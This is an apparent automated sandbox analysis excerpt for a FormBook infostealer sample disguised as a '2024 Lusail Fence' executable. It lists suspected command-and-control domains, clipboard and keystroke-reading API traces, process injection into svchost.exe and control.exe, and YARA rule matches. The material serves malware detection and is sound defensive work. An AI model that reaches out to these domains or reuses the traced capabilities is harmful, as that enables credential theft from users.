          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.scarytube.world/ts59/www.robottts.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.scarytube.worldReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ssweatstudio.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ssweatstudio.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ssweatstudio.com/ts59/www.qjjkxi260l.top
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ssweatstudio.comReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.texhio.online
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.texhio.online/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.texhio.online/ts59/www.femininequantumflowcoach.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.texhio.onlineReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.wizardatm.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.wizardatm.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.wizardatm.com/ts59/www.zangbreaker.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.wizardatm.comReferer:
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zangbreaker.com
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zangbreaker.com/ts59/
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zangbreaker.com/ts59/www.babyscan.xyz
          Source: explorer.exe, 00000003.00000002.3821675015.000000000C43F000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272081328.000000000C42C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073937500.000000000C42C000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.zangbreaker.comReferer:
          Source: explorer.exe, 00000003.00000000.1377287114.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F83000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008F83000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp
          Source: explorer.exe, 00000003.00000000.1377287114.000000000913F000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://android.notify.windows.com/iOS
          Source: explorer.exe, 00000003.00000000.1377287114.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008DB0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/News/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mxxPF&ocid=wind
          Source: explorer.exe, 00000003.00000003.3074348658.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.2272115538.0000000008F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1377287114.0000000008F09000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com/v1/news/Feed/Windows?activityId=DD4083B70FE54739AB05D6BBA3484042&timeOut=5000&oc
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?
          Source: explorer.exe, 00000003.00000000.1375368578.0000000007276000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3812362279.0000000007276000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://api.msn.com:443/v1/news/Feed/Windows?t
          Source: explorer.exe, 00000003.00000003.2272115538.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3816237958.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1377287114.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3074348658.0000000008DFE000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://arc.msn.com
          Source: explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings
          Source: explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/AAehwh2.svg
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-dark
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-dark
          Source: explorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://excel.office.com
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA11f7Wa.img
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA15Yat4.img
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1bjET8.img
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1c9Jin.img
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BBNvr53.img
          Source: explorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
          Source: explorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.com
          Source: explorer.exe, 00000003.00000002.3823187633.00000000113FF000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.0000000004E7F000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://status.squarespace.com
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
          Source: explorer.exe, 00000003.00000003.2272115538.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3817490344.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3073987402.00000000090F2000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1377287114.00000000090F2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/
          Source: explorer.exe, 00000003.00000000.1379885909.000000000C091000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3820341536.000000000C091000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.com
          Source: explorer.exe, 00000003.00000002.3823187633.00000000113FF000.00000004.80000000.00040000.00000000.sdmp, control.exe, 00000004.00000002.3810060905.0000000004E7F000.00000004.10000000.00040000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/5xx-error-landing
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/realestate/why-this-florida-city-is-a-safe-haven-from-hurricanes/ar-
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/music/news/6-rock-ballads-that-tug-at-the-heartstrings/ar-AA1hIdsm
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/here-s-who-could-see-above-average-snowfall-this-winter
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
          Source: explorer.exe, 00000003.00000002.3812362279.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.1375368578.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
          Source: explorer.exe, 00000003.00000000.1375368578.00000000071B2000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://www.pollensense.com/
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00DF425A
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF4458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00DF4458
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DF425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00DF425A
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00DE0219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,0_2_00DE0219
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: 0_2_00E0CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_00E0CDAC

          E-Banking Fraud

          barindex
          Yara detected FormBook
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0.2.2024 Lusail Fence-WITH STICKER-2-003.exe.18d0000.1.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.3808376595.0000000000640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.1418182361.0000000002FA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000003.00000002.3822306235.000000000EBD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
          Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.3808465152.0000000000670000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.1421599562.0000000003950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000000.00000002.1366051855.00000000018D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000002.00000002.1417629112.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000004.00000002.3807906421.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: 2024 Lusail Fence-WITH STICKER-2-003.exe PID: 7572, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: svchost.exe PID: 7624, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: control.exe PID: 7668, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Binary is likely a compiled AutoIt script file
          Source: C:\Users\user\Desktop\2024 Lusail Fence-WITH STICKER-2-003.exeCode function: This is a third-party compiled AutoIt script.0_2_00D83B4C
